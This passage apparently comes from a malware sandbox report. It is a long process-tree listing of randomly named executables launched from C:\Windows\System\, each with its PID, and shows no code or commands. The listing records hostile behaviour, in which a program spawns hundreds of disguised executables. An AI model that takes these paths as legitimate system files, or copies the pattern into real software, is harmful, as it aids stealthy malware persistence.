  C:\Windows\System\KZPDEMl.exe
  2⤵
  PID:13064
- C:\Windows\System\esMquBO.exe
  C:\Windows\System\esMquBO.exe
  2⤵
  PID:13104
- C:\Windows\System\pHOcgmq.exe
  C:\Windows\System\pHOcgmq.exe
  2⤵
  PID:13132
- C:\Windows\System\lgjBCby.exe
  C:\Windows\System\lgjBCby.exe
  2⤵
  PID:13148
- C:\Windows\System\aicERnX.exe
  C:\Windows\System\aicERnX.exe
  2⤵
  PID:13184
- C:\Windows\System\yabfsPx.exe
  C:\Windows\System\yabfsPx.exe
  2⤵
  PID:13216
- C:\Windows\System\UaRZSOc.exe
  C:\Windows\System\UaRZSOc.exe
  2⤵
  PID:13244
- C:\Windows\System\eveyQkW.exe
  C:\Windows\System\eveyQkW.exe
  2⤵
  PID:13272
- C:\Windows\System\sxbqQtv.exe
  C:\Windows\System\sxbqQtv.exe
  2⤵
  PID:13300
- C:\Windows\System\dQfcWLz.exe
  C:\Windows\System\dQfcWLz.exe
  2⤵
  PID:12328
- C:\Windows\System\LNLQSAL.exe
  C:\Windows\System\LNLQSAL.exe
  2⤵
  PID:12388
- C:\Windows\System\qmxOsfg.exe
  C:\Windows\System\qmxOsfg.exe
  2⤵
  PID:12444
- C:\Windows\System\LmKIHiN.exe
  C:\Windows\System\LmKIHiN.exe
  2⤵
  PID:12520
- C:\Windows\System\kBlMPtD.exe
  C:\Windows\System\kBlMPtD.exe
  2⤵
  PID:12584
- C:\Windows\System\XYTXYbR.exe
  C:\Windows\System\XYTXYbR.exe
  2⤵
  PID:12644
- C:\Windows\System\qdXCpop.exe
  C:\Windows\System\qdXCpop.exe
  2⤵
  PID:12716
- C:\Windows\System\FVKQYHC.exe
  C:\Windows\System\FVKQYHC.exe
  2⤵
  PID:12780
- C:\Windows\System\SctHIbF.exe
  C:\Windows\System\SctHIbF.exe
  2⤵
  PID:13144
- C:\Windows\System\BnXipTb.exe
  C:\Windows\System\BnXipTb.exe
  2⤵
  PID:13140
- C:\Windows\System\ccTtApp.exe
  C:\Windows\System\ccTtApp.exe
  2⤵
  PID:13240
- C:\Windows\System\gbhoOyd.exe
  C:\Windows\System\gbhoOyd.exe
  2⤵
  PID:13296
- C:\Windows\System\FvIaRoy.exe
  C:\Windows\System\FvIaRoy.exe
  2⤵
  PID:12440
- C:\Windows\System\uFbXQwB.exe
  C:\Windows\System\uFbXQwB.exe
  2⤵
  PID:12980
- C:\Windows\System\ZyWzwpg.exe
  C:\Windows\System\ZyWzwpg.exe
  2⤵
  PID:13268
- C:\Windows\System\epNbtNL.exe
  C:\Windows\System\epNbtNL.exe
  2⤵
  PID:12636
- C:\Windows\System\TYjeIVu.exe
  C:\Windows\System\TYjeIVu.exe
  2⤵
  PID:4928
- C:\Windows\System\vAuwkIy.exe
  C:\Windows\System\vAuwkIy.exe
  2⤵
  PID:2856
- C:\Windows\System\DMWXKJl.exe
  C:\Windows\System\DMWXKJl.exe
  2⤵
  PID:456
- C:\Windows\System\TbCzsnW.exe
  C:\Windows\System\TbCzsnW.exe
  2⤵
  PID:12928
- C:\Windows\System\kMgftma.exe
  C:\Windows\System\kMgftma.exe
  2⤵
  PID:10628
- C:\Windows\System\ruySuEq.exe
  C:\Windows\System\ruySuEq.exe
  2⤵
  PID:832
- C:\Windows\System\FSoKIaY.exe
  C:\Windows\System\FSoKIaY.exe
  2⤵
  PID:1436
- C:\Windows\System\ZGGSphn.exe
  C:\Windows\System\ZGGSphn.exe
  2⤵
  PID:4628
- C:\Windows\System\owCrHrX.exe
  C:\Windows\System\owCrHrX.exe
  2⤵
  PID:3012
- C:\Windows\System\HjmBUPW.exe
  C:\Windows\System\HjmBUPW.exe
  2⤵
  PID:644
- C:\Windows\System\BWwsJQP.exe
  C:\Windows\System\BWwsJQP.exe
  2⤵
  PID:1688
- C:\Windows\System\MkvwhvB.exe
  C:\Windows\System\MkvwhvB.exe
  2⤵
  PID:10576
- C:\Windows\System\HjicbCg.exe
  C:\Windows\System\HjicbCg.exe
  2⤵
  PID:13320
- C:\Windows\System\vZThqQy.exe
  C:\Windows\System\vZThqQy.exe
  2⤵
  PID:13444
- C:\Windows\System\RrguFXj.exe
  C:\Windows\System\RrguFXj.exe
  2⤵
  PID:13348
- C:\Windows\System\fozopQt.exe
  C:\Windows\System\fozopQt.exe
  2⤵
  PID:13416
- C:\Windows\System\cjfqESa.exe
  C:\Windows\System\cjfqESa.exe
  2⤵
  PID:3868
- C:\Windows\System\gEnfuOM.exe
  C:\Windows\System\gEnfuOM.exe
  2⤵
  PID:13544
- C:\Windows\System\TpNMRsP.exe
  C:\Windows\System\TpNMRsP.exe
  2⤵
  PID:13560
- C:\Windows\System\vNVneWN.exe
  C:\Windows\System\vNVneWN.exe
  2⤵
  PID:13620
- C:\Windows\System\vCKleMA.exe
  C:\Windows\System\vCKleMA.exe
  2⤵
  PID:13632
- C:\Windows\System\FxYcmqE.exe
  C:\Windows\System\FxYcmqE.exe
  2⤵
  PID:13668
- C:\Windows\System\dAhhNWy.exe
  C:\Windows\System\dAhhNWy.exe
  2⤵
  PID:4548
- C:\Windows\System\xLNMIMf.exe
  C:\Windows\System\xLNMIMf.exe
  2⤵
  PID:13724
- C:\Windows\System\GovfbaS.exe
  C:\Windows\System\GovfbaS.exe
  2⤵
  PID:13736
- C:\Windows\System\pQVMFuS.exe
  C:\Windows\System\pQVMFuS.exe
  2⤵
  PID:1516
- C:\Windows\System\ZNxPVKC.exe
  C:\Windows\System\ZNxPVKC.exe
  2⤵
  PID:13772
- C:\Windows\System\lvgwrNk.exe
  C:\Windows\System\lvgwrNk.exe
  2⤵
  PID:5908
- C:\Windows\System\OQbZkgV.exe
  C:\Windows\System\OQbZkgV.exe
  2⤵
  PID:13816
- C:\Windows\System\rRBouBJ.exe
  C:\Windows\System\rRBouBJ.exe
  2⤵
  PID:6016
- C:\Windows\System\AhjnqaC.exe
  C:\Windows\System\AhjnqaC.exe
  2⤵
  PID:6072
- C:\Windows\System\wMqEFCk.exe
  C:\Windows\System\wMqEFCk.exe
  2⤵
  PID:1100
- C:\Windows\System\GIQnOSh.exe
  C:\Windows\System\GIQnOSh.exe
  2⤵
  PID:13880
- C:\Windows\System\NgQpYlM.exe
  C:\Windows\System\NgQpYlM.exe
  2⤵
  PID:13896
- C:\Windows\System\NxinUKR.exe
  C:\Windows\System\NxinUKR.exe
  2⤵
  PID:5592
- C:\Windows\System\iQTzMoV.exe
  C:\Windows\System\iQTzMoV.exe
  2⤵
  PID:828
- C:\Windows\System\MKLFgbD.exe
  C:\Windows\System\MKLFgbD.exe
  2⤵
  PID:6652
- C:\Windows\System\SCbgbhz.exe
  C:\Windows\System\SCbgbhz.exe
  2⤵
  PID:13860
- C:\Windows\System\RcdEoyR.exe
  C:\Windows\System\RcdEoyR.exe
  2⤵
  PID:3432
- C:\Windows\System\fIWmUwC.exe
  C:\Windows\System\fIWmUwC.exe
  2⤵
  PID:5660
- C:\Windows\System\KTCUpAL.exe
  C:\Windows\System\KTCUpAL.exe
  2⤵
  PID:5780
- C:\Windows\System\CAHchjw.exe
  C:\Windows\System\CAHchjw.exe
  2⤵
  PID:5928
- C:\Windows\System\vFCmtCz.exe
  C:\Windows\System\vFCmtCz.exe
  2⤵
  PID:8276
- C:\Windows\System\qhOxmGR.exe
  C:\Windows\System\qhOxmGR.exe
  2⤵
  PID:5980
- C:\Windows\System\CHbjpiz.exe
  C:\Windows\System\CHbjpiz.exe
  2⤵
  PID:13368
- C:\Windows\System\NhVvruH.exe
  C:\Windows\System\NhVvruH.exe
  2⤵
  PID:6020
- C:\Windows\System\flzoaQg.exe
  C:\Windows\System\flzoaQg.exe
  2⤵
  PID:6064
- C:\Windows\System\ZrJvFBT.exe
  C:\Windows\System\ZrJvFBT.exe
  2⤵
  PID:6964
- C:\Windows\System\gcQMUfA.exe
  C:\Windows\System\gcQMUfA.exe
  2⤵
  PID:3892
- C:\Windows\System\uSXjEez.exe
  C:\Windows\System\uSXjEez.exe
  2⤵
  PID:8444
- C:\Windows\System\NIzYOqn.exe
  C:\Windows\System\NIzYOqn.exe
  2⤵
  PID:8500
- C:\Windows\System\pWGftWH.exe
  C:\Windows\System\pWGftWH.exe
  2⤵
  PID:7016
- C:\Windows\System\LFnHIxc.exe
  C:\Windows\System\LFnHIxc.exe
  2⤵
  PID:7052
- C:\Windows\System\LboMzZB.exe
  C:\Windows\System\LboMzZB.exe
  2⤵
  PID:8584
- C:\Windows\System\bbxyTdA.exe
  C:\Windows\System\bbxyTdA.exe
  2⤵
  PID:3076
- C:\Windows\System\HHLwXpN.exe
  C:\Windows\System\HHLwXpN.exe
  2⤵
  PID:8612
- C:\Windows\System\iTLHbVN.exe
  C:\Windows\System\iTLHbVN.exe
  2⤵
  PID:1512
- C:\Windows\System\zmKhdtm.exe
  C:\Windows\System\zmKhdtm.exe
  2⤵
  PID:5252
- C:\Windows\System\QRolomM.exe
  C:\Windows\System\QRolomM.exe
  2⤵
  PID:8668
- C:\Windows\System\IRCCfpr.exe
  C:\Windows\System\IRCCfpr.exe
  2⤵
  PID:1296
- C:\Windows\System\APHJxph.exe
  C:\Windows\System\APHJxph.exe
  2⤵
  PID:3960
- C:\Windows\System\yXDjMLS.exe
  C:\Windows\System\yXDjMLS.exe
  2⤵
  PID:4184
- C:\Windows\System\AfMLMOp.exe
  C:\Windows\System\AfMLMOp.exe
  2⤵
  PID:6456
- C:\Windows\System\BFhGbaA.exe
  C:\Windows\System\BFhGbaA.exe
  2⤵
  PID:13580
- C:\Windows\System\fYdXrOV.exe
  C:\Windows\System\fYdXrOV.exe
  2⤵
  PID:6656
- C:\Windows\System\WXbNqMg.exe
  C:\Windows\System\WXbNqMg.exe
  2⤵
  PID:548
- C:\Windows\System\ejnbpJL.exe
  C:\Windows\System\ejnbpJL.exe
  2⤵
  PID:6772
- C:\Windows\System\fJrWDlB.exe
  C:\Windows\System\fJrWDlB.exe
  2⤵
  PID:13644
- C:\Windows\System\ksBkdTN.exe
  C:\Windows\System\ksBkdTN.exe
  2⤵
  PID:6944
- C:\Windows\System\hLGXMov.exe
  C:\Windows\System\hLGXMov.exe
  2⤵
  PID:1032
- C:\Windows\System\QXmjMuR.exe
  C:\Windows\System\QXmjMuR.exe
  2⤵
  PID:8748
- C:\Windows\System\TLkkAfX.exe
  C:\Windows\System\TLkkAfX.exe
  2⤵
  PID:4452
- C:\Windows\System\cfHscNV.exe
  C:\Windows\System\cfHscNV.exe
  2⤵
  PID:5704
- C:\Windows\System\fHqjitb.exe
  C:\Windows\System\fHqjitb.exe
  2⤵
  PID:4040
- C:\Windows\System\LbhjfkM.exe
  C:\Windows\System\LbhjfkM.exe
  2⤵
  PID:6684
- C:\Windows\System\WkntVrB.exe
  C:\Windows\System\WkntVrB.exe
  2⤵
  PID:2844
- C:\Windows\System\pPYTSmV.exe
  C:\Windows\System\pPYTSmV.exe
  2⤵
  PID:5828
- C:\Windows\System\rWndboD.exe
  C:\Windows\System\rWndboD.exe
  2⤵
  PID:6800
- C:\Windows\System\ujryAxG.exe
  C:\Windows\System\ujryAxG.exe
  2⤵
  PID:13784
- C:\Windows\System\xtnypbe.exe
  C:\Windows\System\xtnypbe.exe
  2⤵
  PID:6876
- C:\Windows\System\khIoOdC.exe
  C:\Windows\System\khIoOdC.exe
  2⤵
  PID:7256
- C:\Windows\System\EeHtcve.exe
  C:\Windows\System\EeHtcve.exe
  2⤵
  PID:7312
- C:\Windows\System\mKmOVSw.exe
  C:\Windows\System\mKmOVSw.exe
  2⤵
  PID:3332
- C:\Windows\System\JuclbOL.exe
  C:\Windows\System\JuclbOL.exe
  2⤵
  PID:7400
- C:\Windows\System\yDIuinb.exe
  C:\Windows\System\yDIuinb.exe
  2⤵
  PID:13812
- C:\Windows\System\ZFqtwTf.exe
  C:\Windows\System\ZFqtwTf.exe
  2⤵
  PID:13836
- C:\Windows\System\RgVZBCt.exe
  C:\Windows\System\RgVZBCt.exe
  2⤵
  PID:7540
- C:\Windows\System\HxhqXWQ.exe
  C:\Windows\System\HxhqXWQ.exe
  2⤵
  PID:13208
- C:\Windows\System\OZaKwsT.exe
  C:\Windows\System\OZaKwsT.exe
  2⤵
  PID:13084
- C:\Windows\System\UeHEyPV.exe
  C:\Windows\System\UeHEyPV.exe
  2⤵
  PID:12992
- C:\Windows\System\HyluJSp.exe
  C:\Windows\System\HyluJSp.exe
  2⤵
  PID:12868
- C:\Windows\System\CecUSYW.exe
  C:\Windows\System\CecUSYW.exe
  2⤵
  PID:7564
- C:\Windows\System\ywPlMKR.exe
  C:\Windows\System\ywPlMKR.exe
  2⤵
  PID:3680
- C:\Windows\System\Gzisbhn.exe
  C:\Windows\System\Gzisbhn.exe
  2⤵
  PID:12700
- C:\Windows\System\wIenuMj.exe
  C:\Windows\System\wIenuMj.exe
  2⤵
  PID:12500
- C:\Windows\System\kDvFyjo.exe
  C:\Windows\System\kDvFyjo.exe
  2⤵
  PID:7620
- C:\Windows\System\PDpFERo.exe
  C:\Windows\System\PDpFERo.exe
  2⤵
  PID:8388
- C:\Windows\System\ekOGPYc.exe
  C:\Windows\System\ekOGPYc.exe
  2⤵
  PID:7700
- C:\Windows\System\Kfxwflh.exe
  C:\Windows\System\Kfxwflh.exe
  2⤵
  PID:8460
- C:\Windows\System\fyaoRlN.exe
  C:\Windows\System\fyaoRlN.exe
  2⤵
  PID:8492
- C:\Windows\System\RQukxrh.exe
  C:\Windows\System\RQukxrh.exe
  2⤵
  PID:6128
- C:\Windows\System\AltECdJ.exe
  C:\Windows\System\AltECdJ.exe
  2⤵
  PID:8636
- C:\Windows\System\WyswmxO.exe
  C:\Windows\System\WyswmxO.exe
  2⤵
  PID:4388
- C:\Windows\System\sInqygG.exe
  C:\Windows\System\sInqygG.exe
  2⤵
  PID:7856
- C:\Windows\System\BKSKPTC.exe
  C:\Windows\System\BKSKPTC.exe
  2⤵
  PID:13952
- C:\Windows\System\DDrdVrk.exe
  C:\Windows\System\DDrdVrk.exe
  2⤵
  PID:13964
- C:\Windows\System\ZzyeNMT.exe
  C:\Windows\System\ZzyeNMT.exe
  2⤵
  PID:8868
- C:\Windows\System\oBuCogR.exe
  C:\Windows\System\oBuCogR.exe
  2⤵
  PID:13968
- C:\Windows\System\YWzGvVj.exe
  C:\Windows\System\YWzGvVj.exe
  2⤵
  PID:2940
- C:\Windows\System\wWmAAfr.exe
  C:\Windows\System\wWmAAfr.exe
  2⤵
  PID:7944
- C:\Windows\System\kShgYxd.exe
  C:\Windows\System\kShgYxd.exe
  2⤵
  PID:372
- C:\Windows\System\LLoGczk.exe
  C:\Windows\System\LLoGczk.exe
  2⤵
  PID:7956
- C:\Windows\System\ydWDFUq.exe
  C:\Windows\System\ydWDFUq.exe
  2⤵
  PID:7752
- C:\Windows\System\MaUkCiG.exe
  C:\Windows\System\MaUkCiG.exe
  2⤵
  PID:8360
- C:\Windows\System\iaMPUwJ.exe
  C:\Windows\System\iaMPUwJ.exe
  2⤵
  PID:6332
- C:\Windows\System\utSMWvT.exe
  C:\Windows\System\utSMWvT.exe
  2⤵
  PID:14036
- C:\Windows\System\rBcjYJs.exe
  C:\Windows\System\rBcjYJs.exe
  2⤵
  PID:8672
- C:\Windows\System\JqBGDCz.exe
  C:\Windows\System\JqBGDCz.exe
  2⤵
  PID:8352
- C:\Windows\System\vPZlwqW.exe
  C:\Windows\System\vPZlwqW.exe
  2⤵
  PID:14064
- C:\Windows\System\XHbmUmP.exe
  C:\Windows\System\XHbmUmP.exe
  2⤵
  PID:14068
- C:\Windows\System\DQtBvqC.exe
  C:\Windows\System\DQtBvqC.exe
  2⤵
  PID:14088
- C:\Windows\System\uALkPWP.exe
  C:\Windows\System\uALkPWP.exe
  2⤵
  PID:8720
- C:\Windows\System\qMDTMHn.exe
  C:\Windows\System\qMDTMHn.exe
  2⤵
  PID:8172
- C:\Windows\System\WIXYWlH.exe
  C:\Windows\System\WIXYWlH.exe
  2⤵
  PID:14116
- C:\Windows\System\daMHtwz.exe
  C:\Windows\System\daMHtwz.exe
  2⤵
  PID:14128
- C:\Windows\System\TDRlvwM.exe
  C:\Windows\System\TDRlvwM.exe
  2⤵
  PID:9260
- C:\Windows\System\ALcIRXF.exe
  C:\Windows\System\ALcIRXF.exe
  2⤵
  PID:9344
- C:\Windows\System\AyJACwd.exe
  C:\Windows\System\AyJACwd.exe
  2⤵
  PID:9480
- C:\Windows\System\GKntZrM.exe
  C:\Windows\System\GKntZrM.exe
  2⤵
  PID:9576
- C:\Windows\System\NqoLoxz.exe
  C:\Windows\System\NqoLoxz.exe
  2⤵
  PID:3100
- C:\Windows\System\wqktFea.exe
  C:\Windows\System\wqktFea.exe
  2⤵
  PID:4416
- C:\Windows\System\iojaicL.exe
  C:\Windows\System\iojaicL.exe
  2⤵
  PID:9684
- C:\Windows\System\eXfaHkS.exe
  C:\Windows\System\eXfaHkS.exe
  2⤵
  PID:14160
- C:\Windows\System\IzTUEBy.exe
  C:\Windows\System\IzTUEBy.exe
  2⤵
  PID:9712
- C:\Windows\System\phCHWBk.exe
  C:\Windows\System\phCHWBk.exe
  2⤵
  PID:9748
- C:\Windows\System\MIARqoC.exe
  C:\Windows\System\MIARqoC.exe
  2⤵
  PID:14184
- C:\Windows\System\xRQNlwq.exe
  C:\Windows\System\xRQNlwq.exe
  2⤵
  PID:14200
- C:\Windows\System\awCHMbn.exe
  C:\Windows\System\awCHMbn.exe
  2⤵
  PID:14204
- C:\Windows\System\nnaKuGB.exe
  C:\Windows\System\nnaKuGB.exe
  2⤵
  PID:14224
- C:\Windows\System\fMdWXCj.exe
  C:\Windows\System\fMdWXCj.exe
  2⤵
  PID:6576
- C:\Windows\System\OJcWAmX.exe
  C:\Windows\System\OJcWAmX.exe
  2⤵
  PID:7644
- C:\Windows\System\kKItzsd.exe
  C:\Windows\System\kKItzsd.exe
  2⤵
  PID:14244
- C:\Windows\System\oPQRzkr.exe
  C:\Windows\System\oPQRzkr.exe
  2⤵
  PID:6620
- C:\Windows\System\FFcNraA.exe
  C:\Windows\System\FFcNraA.exe
  2⤵
  PID:7800
- C:\Windows\System\WYJIMwA.exe
  C:\Windows\System\WYJIMwA.exe
  2⤵
  PID:13676
- C:\Windows\System\ZZGhtnH.exe
  C:\Windows\System\ZZGhtnH.exe
  2⤵
  PID:13848
- C:\Windows\System\uBNCktS.exe
  C:\Windows\System\uBNCktS.exe
  2⤵
  PID:7844
- C:\Windows\System\kXLBONT.exe
  C:\Windows\System\kXLBONT.exe
  2⤵
  PID:8060
- C:\Windows\System\nvNUgxQ.exe
  C:\Windows\System\nvNUgxQ.exe
  2⤵
  PID:9976
- C:\Windows\System\SllMoaA.exe
  C:\Windows\System\SllMoaA.exe
  2⤵
  PID:10004
- C:\Windows\System\YbftmPi.exe
  C:\Windows\System\YbftmPi.exe
  2⤵
  PID:4680
- C:\Windows\System\vdzRBJi.exe
  C:\Windows\System\vdzRBJi.exe
  2⤵
  PID:7920
- C:\Windows\System\BtAnvAh.exe
  C:\Windows\System\BtAnvAh.exe
  2⤵
  PID:10052
- C:\Windows\System\oGbeyTW.exe
  C:\Windows\System\oGbeyTW.exe
  2⤵
  PID:14308
- C:\Windows\System\KLtsETK.exe
  C:\Windows\System\KLtsETK.exe
  2⤵
  PID:14312
- C:\Windows\System\UtOCYkY.exe
  C:\Windows\System\UtOCYkY.exe
  2⤵
  PID:5320
- C:\Windows\System\xLJbMNu.exe
  C:\Windows\System\xLJbMNu.exe
  2⤵
  PID:7660
- C:\Windows\System\FdoRtWe.exe
  C:\Windows\System\FdoRtWe.exe
  2⤵
  PID:10172
- C:\Windows\System\lpRGhfo.exe
  C:\Windows\System\lpRGhfo.exe
  2⤵
  PID:7884
- C:\Windows\System\MeSqQAm.exe
  C:\Windows\System\MeSqQAm.exe
  2⤵
  PID:7344
- C:\Windows\System\iKtkfAX.exe
  C:\Windows\System\iKtkfAX.exe
  2⤵
  PID:5564
- C:\Windows\System\YmYjByp.exe
  C:\Windows\System\YmYjByp.exe
  2⤵
  PID:6780
- C:\Windows\System\orUTMgA.exe
  C:\Windows\System\orUTMgA.exe
  2⤵
  PID:8816
- C:\Windows\System\nHJumuX.exe
  C:\Windows\System\nHJumuX.exe
  2⤵
  PID:9376
- C:\Windows\System\URPhFrj.exe
  C:\Windows\System\URPhFrj.exe
  2⤵
  PID:9632
- C:\Windows\System\bGwrbrn.exe
  C:\Windows\System\bGwrbrn.exe
  2⤵
  PID:5912
- C:\Windows\System\VgdwIQj.exe
  C:\Windows\System\VgdwIQj.exe
  2⤵
  PID:13356
- C:\Windows\System\pJdkZig.exe
  C:\Windows\System\pJdkZig.exe
  2⤵
  PID:9920
- C:\Windows\System\kioJGyQ.exe
  C:\Windows\System\kioJGyQ.exe
  2⤵
  PID:8304
- C:\Windows\System\zdKLlPM.exe
  C:\Windows\System\zdKLlPM.exe
  2⤵
  PID:9256
- C:\Windows\System\PDPcyNq.exe
  C:\Windows\System\PDPcyNq.exe
  2⤵
  PID:8332
- C:\Windows\System\AAGHpvJ.exe
  C:\Windows\System\AAGHpvJ.exe
  2⤵
  PID:3068
- C:\Windows\System\kLAhICv.exe
  C:\Windows\System\kLAhICv.exe
  2⤵
  PID:13388
- C:\Windows\System\DdjQaKh.exe
  C:\Windows\System\DdjQaKh.exe
  2⤵
  PID:4520
- C:\Windows\System\DrJxRyb.exe
  C:\Windows\System\DrJxRyb.exe
  2⤵
  PID:4588
- C:\Windows\System\xBlQByj.exe
  C:\Windows\System\xBlQByj.exe
  2⤵
  PID:9516
- C:\Windows\System\MAERIlD.exe
  C:\Windows\System\MAERIlD.exe
  2⤵
  PID:5268
- C:\Windows\System\stIgKXR.exe
  C:\Windows\System\stIgKXR.exe
  2⤵
  PID:9892
- C:\Windows\System\OxNsckq.exe
  C:\Windows\System\OxNsckq.exe
  2⤵
  PID:5200
- C:\Windows\System\BbIaWtM.exe
  C:\Windows\System\BbIaWtM.exe
  2⤵
  PID:4796
- C:\Windows\System\tLMAYNV.exe
  C:\Windows\System\tLMAYNV.exe
  2⤵
  PID:7084
- C:\Windows\System\mmqKIiU.exe
  C:\Windows\System\mmqKIiU.exe
  2⤵
  PID:4308
- C:\Windows\System\FxAYdBh.exe
  C:\Windows\System\FxAYdBh.exe
  2⤵
  PID:7096
- C:\Windows\System\TjLyqiA.exe
  C:\Windows\System\TjLyqiA.exe
  2⤵
  PID:4424
- C:\Windows\System\MnMtdVB.exe
  C:\Windows\System\MnMtdVB.exe
  2⤵
  PID:10416
- C:\Windows\System\KKzUZJx.exe
  C:\Windows\System\KKzUZJx.exe
  2⤵
  PID:10472
- C:\Windows\System\oXXHubq.exe
  C:\Windows\System\oXXHubq.exe
  2⤵
  PID:10528
- C:\Windows\System\DCeSsVL.exe
  C:\Windows\System\DCeSsVL.exe
  2⤵
  PID:10588
- C:\Windows\System\zIXtxkJ.exe
  C:\Windows\System\zIXtxkJ.exe
  2⤵
  PID:8712
- C:\Windows\System\gsbBUYl.exe
  C:\Windows\System\gsbBUYl.exe
  2⤵
  PID:6404
- C:\Windows\System\aZPAiZG.exe
  C:\Windows\System\aZPAiZG.exe
  2⤵
  PID:10792
- C:\Windows\System\lkoUnEc.exe
  C:\Windows\System\lkoUnEc.exe
  2⤵
  PID:6604
- C:\Windows\System\hKGWdPF.exe
  C:\Windows\System\hKGWdPF.exe
  2⤵
  PID:10936
- C:\Windows\System\qQPMWnm.exe
  C:\Windows\System\qQPMWnm.exe
  2⤵
  PID:10984
- C:\Windows\System\NeRlaiw.exe
  C:\Windows\System\NeRlaiw.exe
  2⤵
  PID:13616
- C:\Windows\System\mylNdwl.exe
  C:\Windows\System\mylNdwl.exe
  2⤵
  PID:6856
- C:\Windows\System\OFvZxvE.exe
  C:\Windows\System\OFvZxvE.exe
  2⤵
  PID:11148
- C:\Windows\System\adssTZI.exe
  C:\Windows\System\adssTZI.exe
  2⤵
  PID:5520
- C:\Windows\System\riNzMJb.exe
  C:\Windows\System\riNzMJb.exe
  2⤵
  PID:9476
- C:\Windows\System\gxIQKgU.exe
  C:\Windows\System\gxIQKgU.exe
  2⤵
  PID:10364
- C:\Windows\System\ZzGkvyp.exe
  C:\Windows\System\ZzGkvyp.exe
  2⤵
  PID:10680
- C:\Windows\System\SXNjRCE.exe
  C:\Windows\System\SXNjRCE.exe
  2⤵
  PID:1492
- C:\Windows\System\yRnzirN.exe
  C:\Windows\System\yRnzirN.exe
  2⤵
  PID:6552
- C:\Windows\System\ivVEItV.exe
  C:\Windows\System\ivVEItV.exe
  2⤵
  PID:6748
- C:\Windows\System\VPTJZfa.exe
  C:\Windows\System\VPTJZfa.exe
  2⤵
  PID:8864
- C:\Windows\System\trZMdHR.exe
  C:\Windows\System\trZMdHR.exe
  2⤵
  PID:13768
- C:\Windows\System\nBffmUd.exe
  C:\Windows\System\nBffmUd.exe
  2⤵
  PID:5736
- C:\Windows\System\hJVdGTJ.exe
  C:\Windows\System\hJVdGTJ.exe
  2⤵
  PID:6488
- C:\Windows\System\QTlmfWE.exe
  C:\Windows\System\QTlmfWE.exe
  2⤵
  PID:5852
- C:\Windows\System\UcrtigA.exe
  C:\Windows\System\UcrtigA.exe
  2⤵
  PID:5888
- C:\Windows\System\TpowhLK.exe
  C:\Windows\System\TpowhLK.exe
  2⤵
  PID:11300
- C:\Windows\System\vjAUYho.exe
  C:\Windows\System\vjAUYho.exe
  2⤵
  PID:6000
- C:\Windows\System\urcfOdU.exe
  C:\Windows\System\urcfOdU.exe
  2⤵
  PID:7452
- C:\Windows\System\TysdOfs.exe
  C:\Windows\System\TysdOfs.exe
  2⤵
  PID:11344
- C:\Windows\System\ZpwwLvk.exe
  C:\Windows\System\ZpwwLvk.exe
  2⤵
  PID:12304
- C:\Windows\System\milRczi.exe
  C:\Windows\System\milRczi.exe
  2⤵
  PID:13048
- C:\Windows\System\gmbPUDi.exe
  C:\Windows\System\gmbPUDi.exe
  2⤵
  PID:12960
- C:\Windows\System\NVugtow.exe
  C:\Windows\System\NVugtow.exe
  2⤵
  PID:11516
- C:\Windows\System\eZRXUOO.exe
  C:\Windows\System\eZRXUOO.exe
  2⤵
  PID:11236
- C:\Windows\System\vLSVuBz.exe
  C:\Windows\System\vLSVuBz.exe
  2⤵
  PID:11632
- C:\Windows\System\OhCFIyu.exe
  C:\Windows\System\OhCFIyu.exe
  2⤵
  PID:12552
- C:\Windows\System\YRrMhOE.exe
  C:\Windows\System\YRrMhOE.exe
  2⤵
  PID:11748
- C:\Windows\System\zRDAQbJ.exe
  C:\Windows\System\zRDAQbJ.exe
  2⤵
  PID:2948
- C:\Windows\System\gfmCDQK.exe
  C:\Windows\System\gfmCDQK.exe
  2⤵
  PID:11868
- C:\Windows\System\UvmykKM.exe
  C:\Windows\System\UvmykKM.exe
  2⤵
  PID:11912
- C:\Windows\System\bElUyMn.exe
  C:\Windows\System\bElUyMn.exe
  2⤵
  PID:7740
- C:\Windows\System\ZIEIauZ.exe
  C:\Windows\System\ZIEIauZ.exe
  2⤵
  PID:7760
- C:\Windows\System\AKvUmNZ.exe
  C:\Windows\System\AKvUmNZ.exe
  2⤵
  PID:12056
- C:\Windows\System\QUjGdlV.exe
  C:\Windows\System\QUjGdlV.exe
  2⤵
  PID:5844
- C:\Windows\System\AAzUvls.exe
  C:\Windows\System\AAzUvls.exe
  2⤵
  PID:12168
- C:\Windows\System\DcRpmsQ.exe
  C:\Windows\System\DcRpmsQ.exe
  2⤵
  PID:12224
- C:\Windows\System\dcYkhcB.exe
  C:\Windows\System\dcYkhcB.exe
  2⤵
  PID:12272
- C:\Windows\System\mQODzAh.exe
  C:\Windows\System\mQODzAh.exe
  2⤵
  PID:7872
- C:\Windows\System\DygpwMJ.exe
  C:\Windows\System\DygpwMJ.exe
  2⤵
  PID:6228
- C:\Windows\System\VzVkBaz.exe
  C:\Windows\System\VzVkBaz.exe
  2⤵
  PID:13972
- C:\Windows\System\SLYJaEB.exe
  C:\Windows\System\SLYJaEB.exe
  2⤵
  PID:11972
- C:\Windows\System\lYNoxMw.exe
  C:\Windows\System\lYNoxMw.exe
  2⤵
  PID:6280
- C:\Windows\System\atFOmxj.exe
  C:\Windows\System\atFOmxj.exe
  2⤵
  PID:11408
- C:\Windows\System\LHvJJBp.exe
  C:\Windows\System\LHvJJBp.exe
  2⤵
  PID:8028
- C:\Windows\System\rwGgPrx.exe
  C:\Windows\System\rwGgPrx.exe
  2⤵
  PID:12108
- C:\Windows\System\SkPoUgH.exe
  C:\Windows\System\SkPoUgH.exe
  2⤵
  PID:11532
- C:\Windows\System\GvOcnhl.exe
  C:\Windows\System\GvOcnhl.exe
  2⤵
  PID:12036
- C:\Windows\System\PpzLawe.exe
  C:\Windows\System\PpzLawe.exe
  2⤵
  PID:11856
- C:\Windows\System\ahcEjbV.exe
  C:\Windows\System\ahcEjbV.exe
  2⤵
  PID:3628
- C:\Windows\System\JoGxjve.exe
  C:\Windows\System\JoGxjve.exe
  2⤵
  PID:12344
- C:\Windows\System\LTnMrNP.exe
  C:\Windows\System\LTnMrNP.exe
  2⤵
  PID:14112
- C:\Windows\System\hjqstUl.exe
  C:\Windows\System\hjqstUl.exe
  2⤵
  PID:12464
- C:\Windows\System\SRjvuyA.exe
  C:\Windows\System\SRjvuyA.exe
  2⤵
  PID:9428
- C:\Windows\System\IGfYIQc.exe
  C:\Windows\System\IGfYIQc.exe
  2⤵
  PID:12604
- C:\Windows\System\UDqlSUT.exe
  C:\Windows\System\UDqlSUT.exe
  2⤵
  PID:9628
- C:\Windows\System\xkMOxOS.exe
  C:\Windows\System\xkMOxOS.exe
  2⤵
  PID:12740
- C:\Windows\System\FvUdCHk.exe
  C:\Windows\System\FvUdCHk.exe
